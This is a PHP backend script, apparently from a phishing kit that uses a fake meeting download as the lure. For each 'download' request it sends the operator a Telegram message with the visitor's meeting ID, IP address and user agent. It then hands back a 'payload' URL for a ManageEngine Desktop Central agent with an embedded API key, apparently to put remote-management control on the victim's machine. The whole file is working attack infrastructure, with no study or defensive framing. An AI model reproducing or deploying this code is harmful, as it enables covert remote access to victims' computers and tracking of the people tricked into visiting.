<?php
// process.php - Handles dynamic payload URL retrieval

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', 'process_error.log');

session_start();
include_once 'config.php';

// THE DOWNLOAD URL - ManageEngine
const PAYLOAD_URL = 'https://desktopcentral.manageengine.com/download?encapiKey=wSsVR613rBSmC6Z%2FnTL7IuxpmV0HUVr3FUkr3wen43H9HqzBpcdvlEPIDAGmTqcfE25hRTBE9u97zRsD1jMJiNV%2FzFwCDSiF9mqRe1U4J3x1p%2BnowGeeDDw%3D';

// CORS headers
header('Access-Control-Allow-Origin: *'); 
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With');

// Handle OPTIONS preflight
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// Handle POST requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Check if it's a proxy download request
    if (isset($_GET['proxy']) && $_GET['proxy'] === '1') {
        handleProxyDownload();
    } else {
        handleJsonRequest();
    }
} else {
    http_response_code(405);
    echo "Method Not Allowed.";
    exit();
}

// =========================================================================
// HELPER FUNCTIONS
// =========================================================================

function handleJsonRequest() {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);

    if (json_last_error() !== JSON_ERROR_NONE) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid JSON input.']);
        exit();
    }

    $action = $data['action'] ?? '';
    $meetingId = $data['meetingId'] ?? 'unknown';
    $timestamp = $data['timestamp'] ?? time() * 1000;

    if ($action === 'download') {
        // Send Telegram notification
        $telegram_message = "📥 Download Request Received 📥\n";
        $telegram_message .= "Meeting ID: " . htmlspecialchars($meetingId) . "\n";
        $telegram_message .= "Timestamp: " . date('Y-m-d H:i:s', $timestamp / 1000) . "\n";
        $telegram_message .= "Client IP: " . htmlspecialchars($_SERVER['REMOTE_ADDR'] ?? 'Unknown') . "\n";
        $telegram_message .= "User Agent: " . htmlspecialchars($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown') . "\n";
        @sendTelegramMessage($telegram_message);

        // Return the download URL - frontend will redirect to it
        header('Content-Type: application/json');
        echo json_encode(['downloadUrl' => PAYLOAD_URL]);
        exit();
    } else {
        http_response_code(400);
        echo json_encode(['error' => 'Unsupported action.']);
        exit();
    }
}

function handleProxyDownload() {
    $downloadUrl = $_POST['url'] ?? '';

    // Security check - only allow our URL
    if (empty($downloadUrl) || $downloadUrl !== PAYLOAD_URL) {
        http_response_code(403);
        echo "Access Forbidden: Invalid download URL.";
        exit();
    }

    // Redirect to the ManageEngine download page
    header('Location: ' . PAYLOAD_URL);
    exit();
}
?>